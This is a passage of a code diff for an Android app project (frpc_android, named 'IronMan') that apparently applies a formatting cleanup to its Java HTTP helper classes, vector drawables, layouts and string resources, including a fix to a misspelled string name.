+    private int loadStyle = LOAD_SHOW; //默认显示网络加载框
+    private int errorStyle = ERROR_TOAST; //失败后展示的样式
+    private int retryStyle = CANCEL_AND_RETRY;//超时弹窗样式
+    private int retryCount = 0;//超时次数 默认不重试
     //======================================
-    private             boolean                   headerOther;
-
+    private boolean headerOther;
     public Http() {
         params = new ArrayMap<>();
     }
@@ -91,7 +89,6 @@ public class Http {
         return JSON.parseObject(json, clz);
     }
 
-
     public Http setUrlPath(String url, String path) {
         this.url = url + path;
         return this;
@@ -177,8 +174,7 @@ public class Http {
                     if (loadStyle == LOAD_SHOW) {
                         dialog.setOnDismissListener(dialogInterface -> cancelable.cancel());
                         dialog.show();
-                    }
-                    else if (loadStyle == LOAD_FIXED_SHOW) {
+                    } else if (loadStyle == LOAD_FIXED_SHOW) {
                         dialog.setCancelable(false);
                         dialog.setCanceledOnTouchOutside(false);
                         dialog.show();
@@ -186,8 +182,7 @@ public class Http {
                 }
 
 
-            }
-            else {
+            } else {
                 ThreadUtils.runOnUiThread(() -> {
                     Activity activity = ActivityUtils.getTopActivity();
                     if (!ActivityUtils.isActivityAlive(activity)) {
@@ -202,8 +197,7 @@ public class Http {
                         if (loadStyle == LOAD_SHOW) {
                             dialog.setOnDismissListener(dialogInterface -> cancelable.cancel());
                             dialog.show();
-                        }
-                        else if (loadStyle == LOAD_FIXED_SHOW) {
+                        } else if (loadStyle == LOAD_FIXED_SHOW) {
                             dialog.setCancelable(false);
                             dialog.setCanceledOnTouchOutside(false);
                             dialog.show();
@@ -212,8 +206,7 @@ public class Http {
 
                 });
             }
-        }
-        catch (Exception e) {
+        } catch (Exception e) {
             LogUtils.e(e);
         }
     }
@@ -222,8 +215,7 @@ public class Http {
         if (dialog != null) {
             if (ThreadUtils.isMainThread()) {
                 dialog.dismiss();
-            }
-            else {
+            } else {
                 ThreadUtils.runOnUiThread(() -> {
                     dialog.dismiss();
                 });
@@ -261,8 +253,8 @@ public class Http {
             public void onSuccess(BaseBean result) {
                 if (result.getSuccess()) {
                     Type mySuperclass = callBack.getClass().getGenericSuperclass();
-                    Type tType        = ((ParameterizedType) mySuperclass).getActualTypeArguments()[0];
-                    T    model;
+                    Type tType = ((ParameterizedType) mySuperclass).getActualTypeArguments()[0];
+                    T model;
 
                     if (result.getData() == null && tType.equals(BaseBean.class)) {
                         callBack.onNext((T) result);
@@ -271,13 +263,11 @@ public class Http {
 
                     try {
                         model = Http.parser(result.getData(), tType);
-                    }
-                    catch (Exception e) {
+                    } catch (Exception e) {
                         model = GsonUtils.fromJson(result.getData(), tType);
                     }
                     callBack.onNext(model);
-                }
-                else {
+                } else {
                     showError(result.getMsg());
                     callBack.onFail(result);
                 }
@@ -325,8 +315,8 @@ public class Http {
             public void onSuccess(BaseBean result) {
                 if (result.getSuccess()) {
                     Type mySuperclass = callBack.getClass().getGenericSuperclass();
-                    Type tType        = ((ParameterizedType) mySuperclass).getActualTypeArguments()[0];
-                    T    model;
+                    Type tType = ((ParameterizedType) mySuperclass).getActualTypeArguments()[0];
+                    T model;
 
                     if (result.getData() == null && tType.equals(BaseBean.class)) {
                         callBack.onNext((T) result);
@@ -335,13 +325,11 @@ public class Http {
 
                     try {
                         model = Http.parser(result.getData(), tType);
-                    }
-                    catch (Exception e) {
+                    } catch (Exception e) {
                         model = GsonUtils.fromJson(result.getData(), tType);
                     }
                     callBack.onNext(model);
-                }
-                else {
+                } else {
                     showError(result.getMsg());
                     callBack.onFail(result);
                 }
@@ -367,7 +355,6 @@ public class Http {
         if (isBindLife) cancelableList.add(cancelable);
     }
 
-
     public void postTest() {
         showLoading();
         RequestParams request = headerOther ? setHeaderOtherMap(new RequestParams(url)) : setHeaderMap(new RequestParams(url));
@@ -410,4 +397,6 @@ public class Http {
     }
 
 
+
+
 }

+ 1 - 2
frpc_android-master/app/src/main/java/com/app/http/Parser.java

@@ -40,8 +40,7 @@ public class Parser implements ResponseParser<String> {
                     jsonObject.remove("data");
             }
             return JSON.parseObject(jsonObject.toString(), resultType);
-        }
-        catch (JSONException e) {
+        } catch (JSONException e) {
             LogUtils.e(e);
             return new BaseBean();
         }

+ 0 - 1
frpc_android-master/app/src/main/res/drawable-v24/ic_launcher_foreground.xml

@@ -1,5 +1,4 @@
 <vector xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:aapt="http://schemas.android.com/aapt"
     android:width="108dp"
     android:height="108dp"
     android:viewportWidth="108"

+ 2 - 3
frpc_android-master/app/src/main/res/drawable/bg_nav_title.xml

@@ -1,9 +1,8 @@
 <?xml version="1.0" encoding="utf-8"?>
 <shape xmlns:android="http://schemas.android.com/apk/res/android">
     <gradient
-        android:startColor="#ff333333"
         android:endColor="#ff000000"
         android:gradientRadius="720"
-        android:type="radial"
-        />
+        android:startColor="#ff333333"
+        android:type="radial" />
 </shape>

+ 9 - 4
frpc_android-master/app/src/main/res/drawable/ic_add_white.xml

@@ -1,5 +1,10 @@
-<vector android:height="24dp" android:tint="#FFFFFF"
-    android:viewportHeight="24.0" android:viewportWidth="24.0"
-    android:width="24dp" xmlns:android="http://schemas.android.com/apk/res/android">
-    <path android:fillColor="#FF000000" android:pathData="M19,13h-6v6h-2v-6H5v-2h6V5h2v6h6v2z"/>
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:tint="#FFFFFF"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FF000000"
+        android:pathData="M19,13h-6v6h-2v-6H5v-2h6V5h2v6h6v2z" />
 </vector>

+ 5 - 5
frpc_android-master/app/src/main/res/drawable/ic_copy_white.xml

@@ -1,9 +1,9 @@
 <vector xmlns:android="http://schemas.android.com/apk/res/android"
-        android:width="24dp"
-        android:height="24dp"
-        android:viewportWidth="24.0"
-        android:viewportHeight="24.0">
+    android:width="24dp"
+    android:height="24dp"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
     <path
         android:fillColor="#FFFFFFFF"
-        android:pathData="M16,1L4,1c-1.1,0 -2,0.9 -2,2v14h2L4,3h12L16,1zM19,5L8,5c-1.1,0 -2,0.9 -2,2v14c0,1.1 0.9,2 2,2h11c1.1,0 2,-0.9 2,-2L21,7c0,-1.1 -0.9,-2 -2,-2zM19,21L8,21L8,7h11v14z"/>
+        android:pathData="M16,1L4,1c-1.1,0 -2,0.9 -2,2v14h2L4,3h12L16,1zM19,5L8,5c-1.1,0 -2,0.9 -2,2v14c0,1.1 0.9,2 2,2h11c1.1,0 2,-0.9 2,-2L21,7c0,-1.1 -0.9,-2 -2,-2zM19,21L8,21L8,7h11v14z" />
 </vector>

+ 9 - 4
frpc_android-master/app/src/main/res/drawable/ic_delete_black.xml

@@ -1,5 +1,10 @@
-<vector android:height="24dp" android:tint="#333333"
-    android:viewportHeight="24.0" android:viewportWidth="24.0"
-    android:width="24dp" xmlns:android="http://schemas.android.com/apk/res/android">
-    <path android:fillColor="#FF000000" android:pathData="M6,19c0,1.1 0.9,2 2,2h8c1.1,0 2,-0.9 2,-2L18,7L6,7v12zM8.46,11.88l1.41,-1.41L12,12.59l2.12,-2.12 1.41,1.41L13.41,14l2.12,2.12 -1.41,1.41L12,15.41l-2.12,2.12 -1.41,-1.41L10.59,14l-2.13,-2.12zM15.5,4l-1,-1h-5l-1,1L5,4v2h14L19,4z"/>
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:tint="#333333"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FF000000"
+        android:pathData="M6,19c0,1.1 0.9,2 2,2h8c1.1,0 2,-0.9 2,-2L18,7L6,7v12zM8.46,11.88l1.41,-1.41L12,12.59l2.12,-2.12 1.41,1.41L13.41,14l2.12,2.12 -1.41,1.41L12,15.41l-2.12,2.12 -1.41,-1.41L10.59,14l-2.13,-2.12zM15.5,4l-1,-1h-5l-1,1L5,4v2h14L19,4z" />
 </vector>

+ 5 - 5
frpc_android-master/app/src/main/res/drawable/ic_delete_white.xml

@@ -1,9 +1,9 @@
 <vector xmlns:android="http://schemas.android.com/apk/res/android"
-        android:width="24dp"
-        android:height="24dp"
-        android:viewportWidth="24.0"
-        android:viewportHeight="24.0">
+    android:width="24dp"
+    android:height="24dp"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
     <path
         android:fillColor="#FFFFFFFF"
-        android:pathData="M6,19c0,1.1 0.9,2 2,2h8c1.1,0 2,-0.9 2,-2L18,7L6,7v12zM8.46,11.88l1.41,-1.41L12,12.59l2.12,-2.12 1.41,1.41L13.41,14l2.12,2.12 -1.41,1.41L12,15.41l-2.12,2.12 -1.41,-1.41L10.59,14l-2.13,-2.12zM15.5,4l-1,-1h-5l-1,1L5,4v2h14L19,4z"/>
+        android:pathData="M6,19c0,1.1 0.9,2 2,2h8c1.1,0 2,-0.9 2,-2L18,7L6,7v12zM8.46,11.88l1.41,-1.41L12,12.59l2.12,-2.12 1.41,1.41L13.41,14l2.12,2.12 -1.41,1.41L12,15.41l-2.12,2.12 -1.41,-1.41L10.59,14l-2.13,-2.12zM15.5,4l-1,-1h-5l-1,1L5,4v2h14L19,4z" />
 </vector>

+ 9 - 4
frpc_android-master/app/src/main/res/drawable/ic_edit_black.xml

@@ -1,5 +1,10 @@
-<vector android:height="24dp" android:tint="#333333"
-    android:viewportHeight="24.0" android:viewportWidth="24.0"
-    android:width="24dp" xmlns:android="http://schemas.android.com/apk/res/android">
-    <path android:fillColor="#FF000000" android:pathData="M3,17.25V21h3.75L17.81,9.94l-3.75,-3.75L3,17.25zM20.71,7.04c0.39,-0.39 0.39,-1.02 0,-1.41l-2.34,-2.34c-0.39,-0.39 -1.02,-0.39 -1.41,0l-1.83,1.83 3.75,3.75 1.83,-1.83z"/>
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:tint="#333333"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FF000000"
+        android:pathData="M3,17.25V21h3.75L17.81,9.94l-3.75,-3.75L3,17.25zM20.71,7.04c0.39,-0.39 0.39,-1.02 0,-1.41l-2.34,-2.34c-0.39,-0.39 -1.02,-0.39 -1.41,0l-1.83,1.83 3.75,3.75 1.83,-1.83z" />
 </vector>

+ 5 - 5
frpc_android-master/app/src/main/res/drawable/ic_logcat_black.xml

@@ -1,9 +1,9 @@
 <vector xmlns:android="http://schemas.android.com/apk/res/android"
-        android:width="24dp"
-        android:height="24dp"
-        android:viewportWidth="24.0"
-        android:viewportHeight="24.0">
+    android:width="24dp"
+    android:height="24dp"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
     <path
         android:fillColor="#ff333333"
-        android:pathData="M11,15h2v2h-2zM11,7h2v6h-2zM11.99,2C6.47,2 2,6.48 2,12s4.47,10 9.99,10C17.52,22 22,17.52 22,12S17.52,2 11.99,2zM12,20c-4.42,0 -8,-3.58 -8,-8s3.58,-8 8,-8 8,3.58 8,8 -3.58,8 -8,8z"/>
+        android:pathData="M11,15h2v2h-2zM11,7h2v6h-2zM11.99,2C6.47,2 2,6.48 2,12s4.47,10 9.99,10C17.52,22 22,17.52 22,12S17.52,2 11.99,2zM12,20c-4.42,0 -8,-3.58 -8,-8s3.58,-8 8,-8 8,3.58 8,8 -3.58,8 -8,8z" />
 </vector>

+ 5 - 5
frpc_android-master/app/src/main/res/drawable/ic_logcat_white.xml

@@ -1,9 +1,9 @@
 <vector xmlns:android="http://schemas.android.com/apk/res/android"
-        android:width="24dp"
-        android:height="24dp"
-        android:viewportWidth="24.0"
-        android:viewportHeight="24.0">
+    android:width="24dp"
+    android:height="24dp"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
     <path
         android:fillColor="#FFFFFFFF"
-        android:pathData="M11,15h2v2h-2zM11,7h2v6h-2zM11.99,2C6.47,2 2,6.48 2,12s4.47,10 9.99,10C17.52,22 22,17.52 22,12S17.52,2 11.99,2zM12,20c-4.42,0 -8,-3.58 -8,-8s3.58,-8 8,-8 8,3.58 8,8 -3.58,8 -8,8z"/>
+        android:pathData="M11,15h2v2h-2zM11,7h2v6h-2zM11.99,2C6.47,2 2,6.48 2,12s4.47,10 9.99,10C17.52,22 22,17.52 22,12S17.52,2 11.99,2zM12,20c-4.42,0 -8,-3.58 -8,-8s3.58,-8 8,-8 8,3.58 8,8 -3.58,8 -8,8z" />
 </vector>

+ 5 - 5
frpc_android-master/app/src/main/res/drawable/ic_menu_file_black.xml

@@ -1,9 +1,9 @@
 <vector xmlns:android="http://schemas.android.com/apk/res/android"
-        android:width="24dp"
-        android:height="24dp"
-        android:viewportWidth="24.0"
-        android:viewportHeight="24.0">
+    android:width="24dp"
+    android:height="24dp"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
     <path
         android:fillColor="#FF000000"
-        android:pathData="M6,2c-1.1,0 -1.99,0.9 -1.99,2L4,20c0,1.1 0.89,2 1.99,2L18,22c1.1,0 2,-0.9 2,-2L20,8l-6,-6L6,2zM13,9L13,3.5L18.5,9L13,9z"/>
+        android:pathData="M6,2c-1.1,0 -1.99,0.9 -1.99,2L4,20c0,1.1 0.89,2 1.99,2L18,22c1.1,0 2,-0.9 2,-2L20,8l-6,-6L6,2zM13,9L13,3.5L18.5,9L13,9z" />
 </vector>

+ 9 - 4
frpc_android-master/app/src/main/res/drawable/ic_play_white.xml

@@ -1,5 +1,10 @@
-<vector android:height="24dp" android:tint="#FFFFFF"
-    android:viewportHeight="24.0" android:viewportWidth="24.0"
-    android:width="24dp" xmlns:android="http://schemas.android.com/apk/res/android">
-    <path android:fillColor="#FF000000" android:pathData="M8,5v14l11,-7z"/>
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:tint="#FFFFFF"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FF000000"
+        android:pathData="M8,5v14l11,-7z" />
 </vector>

+ 9 - 4
frpc_android-master/app/src/main/res/drawable/ic_save_white.xml

@@ -1,5 +1,10 @@
-<vector android:height="24dp" android:tint="#FFFFFF"
-    android:viewportHeight="24.0" android:viewportWidth="24.0"
-    android:width="24dp" xmlns:android="http://schemas.android.com/apk/res/android">
-    <path android:fillColor="#FF000000" android:pathData="M17,3L5,3c-1.11,0 -2,0.9 -2,2v14c0,1.1 0.89,2 2,2h14c1.1,0 2,-0.9 2,-2L21,7l-4,-4zM12,19c-1.66,0 -3,-1.34 -3,-3s1.34,-3 3,-3 3,1.34 3,3 -1.34,3 -3,3zM15,9L5,9L5,5h10v4z"/>
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:tint="#FFFFFF"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FF000000"
+        android:pathData="M17,3L5,3c-1.11,0 -2,0.9 -2,2v14c0,1.1 0.89,2 2,2h14c1.1,0 2,-0.9 2,-2L21,7l-4,-4zM12,19c-1.66,0 -3,-1.34 -3,-3s1.34,-3 3,-3 3,1.34 3,3 -1.34,3 -3,3zM15,9L5,9L5,5h10v4z" />
 </vector>

+ 9 - 4
frpc_android-master/app/src/main/res/drawable/ic_stop_white.xml

@@ -1,5 +1,10 @@
-<vector android:height="24dp" android:tint="#FFFFFF"
-    android:viewportHeight="24.0" android:viewportWidth="24.0"
-    android:width="24dp" xmlns:android="http://schemas.android.com/apk/res/android">
-    <path android:fillColor="#FF000000" android:pathData="M6,6h12v12H6z"/>
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:tint="#FFFFFF"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FF000000"
+        android:pathData="M6,6h12v12H6z" />
 </vector>

+ 1 - 1
frpc_android-master/app/src/main/res/layout/activity_ini_edit.xml

@@ -28,8 +28,8 @@
         android:id="@+id/editText"
         android:layout_width="match_parent"
         android:layout_height="match_parent"
-        app:code="#"
         android:theme="@style/Theme.Material3.Dark"
+        app:code="#"
         app:isReadOnly="false"
         app:isShowExtendedKeyboard="true"
         app:lang="sh" />

+ 22 - 22
frpc_android-master/app/src/main/res/layout/content_main.xml

@@ -24,15 +24,15 @@
         android:layout_width="match_parent"
         android:layout_height="30dp"
         android:background="@color/black"
-        android:gravity="center|start"
-        android:paddingStart="10dp"
-        android:textColor="@color/white"
-        android:singleLine="true"
         android:ellipsize="marquee"
-        android:marqueeRepeatLimit="marquee_forever"
         android:focusable="true"
         android:focusableInTouchMode="true"
+        android:gravity="center|start"
+        android:marqueeRepeatLimit="marquee_forever"
+        android:paddingStart="10dp"
         android:scrollHorizontally="true"
+        android:singleLine="true"
+        android:textColor="@color/white"
         app:layout_constraintBottom_toBottomOf="parent"
         app:layout_constraintEnd_toEndOf="parent"
         app:layout_constraintStart_toStartOf="parent"
@@ -44,15 +44,15 @@
         android:layout_width="0dp"
         android:layout_height="wrap_content"
         android:background="@color/black"
-        android:gravity="start"
-        android:textColor="#89FF00"
-        android:paddingStart="10dp"
-        android:singleLine="true"
         android:ellipsize="marquee"
-        android:marqueeRepeatLimit="marquee_forever"
         android:focusable="true"
         android:focusableInTouchMode="true"
+        android:gravity="start"
+        android:marqueeRepeatLimit="marquee_forever"
+        android:paddingStart="10dp"
         android:scrollHorizontally="true"
+        android:singleLine="true"
+        android:textColor="#89FF00"
         app:layout_constraintBottom_toBottomOf="@+id/nav_host_fragment"
         app:layout_constraintEnd_toEndOf="parent"
         app:layout_constraintStart_toStartOf="parent"
@@ -63,17 +63,17 @@
         android:layout_width="0dp"
         android:layout_height="wrap_content"
         android:background="@color/black"
+        android:ellipsize="marquee"
+        android:focusable="true"
+        android:focusableInTouchMode="true"
         android:gravity="start"
+        android:marqueeRepeatLimit="marquee_forever"
         android:paddingStart="10dp"
+        android:scrollHorizontally="true"
+        android:singleLine="true"
         android:textColor="#89FF00"
         app:layout_constraintBottom_toTopOf="@+id/workTv"
         app:layout_constraintEnd_toEndOf="parent"
-        android:singleLine="true"
-        android:ellipsize="marquee"
-        android:marqueeRepeatLimit="marquee_forever"
-        android:focusable="true"
-        android:focusableInTouchMode="true"
-        android:scrollHorizontally="true"
         app:layout_constraintStart_toStartOf="parent"
         tools:text="1111111111111111111111111" />
 
@@ -82,17 +82,17 @@
         android:layout_width="0dp"
         android:layout_height="wrap_content"
         android:background="@color/black"
+        android:ellipsize="marquee"
+        android:focusable="true"
+        android:focusableInTouchMode="true"
         android:gravity="start"
+        android:marqueeRepeatLimit="marquee_forever"
         android:paddingStart="10dp"
+        android:scrollHorizontally="true"
+        android:singleLine="true"
         android:textColor="#89FF00"
         app:layout_constraintBottom_toTopOf="@+id/workTv2"
         app:layout_constraintEnd_toEndOf="parent"
         app:layout_constraintStart_toStartOf="parent"
-        android:singleLine="true"
-        android:ellipsize="marquee"
-        android:marqueeRepeatLimit="marquee_forever"
-        android:focusable="true"
-        android:focusableInTouchMode="true"
-        android:scrollHorizontally="true"
         tools:text="1111111111111111111111111" />
 </androidx.constraintlayout.widget.ConstraintLayout>

+ 0 - 1
frpc_android-master/app/src/main/res/layout/fragment_home.xml

@@ -1,6 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
 <androidx.coordinatorlayout.widget.CoordinatorLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:app="http://schemas.android.com/apk/res-auto"
     xmlns:tools="http://schemas.android.com/tools"
     android:layout_width="match_parent"
     android:layout_height="match_parent"

+ 2 - 2
frpc_android-master/app/src/main/res/layout/log_layout.xml

@@ -1,15 +1,15 @@
 <?xml version="1.0" encoding="utf-8"?>
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:orientation="vertical"
     android:layout_width="wrap_content"
     android:layout_height="wrap_content"
     android:background="#80000000"
+    android:orientation="vertical"
     android:padding="10dp">
 
     <TextView
         android:id="@+id/log_text"
         android:layout_width="match_parent"
         android:layout_height="wrap_content"
-        android:textColor="#ffffff"/>
+        android:textColor="#ffffff" />
 
 </LinearLayout>

+ 1 - 1
frpc_android-master/app/src/main/res/layout/nav_header_main.xml

@@ -32,8 +32,8 @@
         android:id="@+id/versionCodeTv"
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
-        android:textColor="@color/white"
         android:layout_marginTop="@dimen/dp_10"
+        android:textColor="@color/white"
         android:textSize="13sp"
         app:layout_constraintBottom_toBottomOf="parent"
         app:layout_constraintEnd_toEndOf="parent"

+ 7 - 8
frpc_android-master/app/src/main/res/menu/activity_main_drawer.xml

@@ -1,7 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
 <menu xmlns:android="http://schemas.android.com/apk/res/android"
     xmlns:tools="http://schemas.android.com/tools"
-    xmlns:app="http://schemas.android.com/apk/res-auto"
     tools:showIn="navigation_view">
 
 
@@ -15,13 +14,13 @@
         android:id="@+id/change"
         android:title="@string/change" />
 
-<!--    <group android:checkableBehavior="single">-->
-<!--        <item-->
-<!--            android:id="@+id/switch_button_example"-->
-<!--            android:title="Switch Button"-->
-<!--            app:actionViewClass="android.widget.Switch"-->
-<!--            app:showAsAction="always" />-->
-<!--    </group>-->
+    <!--    <group android:checkableBehavior="single">-->
+    <!--        <item-->
+    <!--            android:id="@+id/switch_button_example"-->
+    <!--            android:title="Switch Button"-->
+    <!--            app:actionViewClass="android.widget.Switch"-->
+    <!--            app:showAsAction="always" />-->
+    <!--    </group>-->
 
 
 </menu>

+ 1 - 2
frpc_android-master/app/src/main/res/navigation/mobile_navigation.xml

@@ -9,8 +9,7 @@
         android:id="@+id/nav_home"
         android:name="com.app.duck.ui.HomeFragment"
         android:label="@string/menu_home"
-        tools:layout="@layout/fragment_home">
-    </fragment>
+        tools:layout="@layout/fragment_home"></fragment>
 
 
 </navigation>

+ 2 - 3
frpc_android-master/app/src/main/res/values-en/strings.xml

@@ -1,7 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
 <resources>
     <string name="app_name">IronMan</string>
-    <string name="title_activity_main">IronMan</string>
     <string name="action_settings">Settings</string>
     <string name="action_ussd_msg">Please wait a moment, USSD communication in progress!</string>
     <string name="menu_home">Configuration file</string>
@@ -47,12 +46,12 @@
     <string name="update_immediately">Update immediately</string>
     <string name="not_updating_for_now">Update later</string>
     <string name="new_update_title">A new version is available for update</string>
-    <string name="uplaod_null_tip">The current version is already up to date!</string>
+    <string name="upload_null_tip">The current version is already up to date!</string>
     <string name="go_setting_1_s">Please grant %1$s the necessary permissions!</string>
     <string name="go_bt">Go</string>
     <string name="current_status">Real-time status</string>
     <string name="no_message">No messages to display at the moment.</string>
-    <string name="pushing">Start uploading...</string>
+    <string name="pushing">Start uploading</string>
     <string name="update_log_config">Update log configuration</string>
     <string name="update_err">Update failed!</string>
     <string name="update_log_config_suc">Log configuration updated successfully!</string>

+ 7 - 7
frpc_android-master/app/src/main/res/values/drawables.xml

@@ -1,8 +1,8 @@
-<resources xmlns:android="http://schemas.android.com/apk/res/android">
-<!--    <item name="ic_menu_camera" type="drawable">@android:drawable/ic_menu_camera</item>-->
-<!--    <item name="ic_menu_gallery" type="drawable">@android:drawable/ic_menu_gallery</item>-->
-<!--    <item name="ic_menu_slideshow" type="drawable">@android:drawable/ic_menu_slideshow</item>-->
-<!--    <item name="ic_menu_manage" type="drawable">@android:drawable/ic_menu_manage</item>-->
-<!--    <item name="ic_menu_share" type="drawable">@android:drawable/ic_menu_share</item>-->
-<!--    <item name="ic_menu_send" type="drawable">@android:drawable/ic_menu_send</item>-->
+<resources>
+    <!--    <item name="ic_menu_camera" type="drawable">@android:drawable/ic_menu_camera</item>-->
+    <!--    <item name="ic_menu_gallery" type="drawable">@android:drawable/ic_menu_gallery</item>-->
+    <!--    <item name="ic_menu_slideshow" type="drawable">@android:drawable/ic_menu_slideshow</item>-->
+    <!--    <item name="ic_menu_manage" type="drawable">@android:drawable/ic_menu_manage</item>-->
+    <!--    <item name="ic_menu_share" type="drawable">@android:drawable/ic_menu_share</item>-->
+    <!--    <item name="ic_menu_send" type="drawable">@android:drawable/ic_menu_send</item>-->
 </resources>

+ 2 - 3
frpc_android-master/app/src/main/res/values/strings.xml

@@ -1,8 +1,7 @@
 <resources>
     <string name="app_name">IronMan</string>
-    <string name="title_activity_main">IronMan</string>
     <string name="action_settings">设置</string>
-    <string name="action_ussd_msg">稍等一会...USSD通信中...</string>
+    <string name="action_ussd_msg">稍等一会…USSD通信中…</string>
     <string name="menu_home">配置文件</string>
     <string name="permissionReason">请授予存储权限,用于读写配置文件</string>
     <string name="action_add">添加</string>
@@ -46,7 +45,7 @@
     <string name="update_immediately">立即更新</string>
     <string name="not_updating_for_now">下次再更新</string>
     <string name="new_update_title">有新的版本可以更新</string>
-    <string name="uplaod_null_tip">当前版本已经是最新的了!</string>
+    <string name="upload_null_tip">当前版本已经是最新的了!</string>
     <string name="go_setting_1_s">请授予 %1$s 必要的权限!</string>
     <string name="go_bt">前往</string>
     <string name="current_status">实时状态</string>

+ 2 - 2
frpc_android-master/app/src/test/java/com/car/frpc_android/ExampleUnitTest.java

@@ -1,8 +1,8 @@
 package com.car.frpc_android;
 
-import org.junit.Test;
+import static org.junit.Assert.assertEquals;
 
-import static org.junit.Assert.*;
+import org.junit.Test;
 
 /**
  * Example local unit test, which will execute on the development machine (host).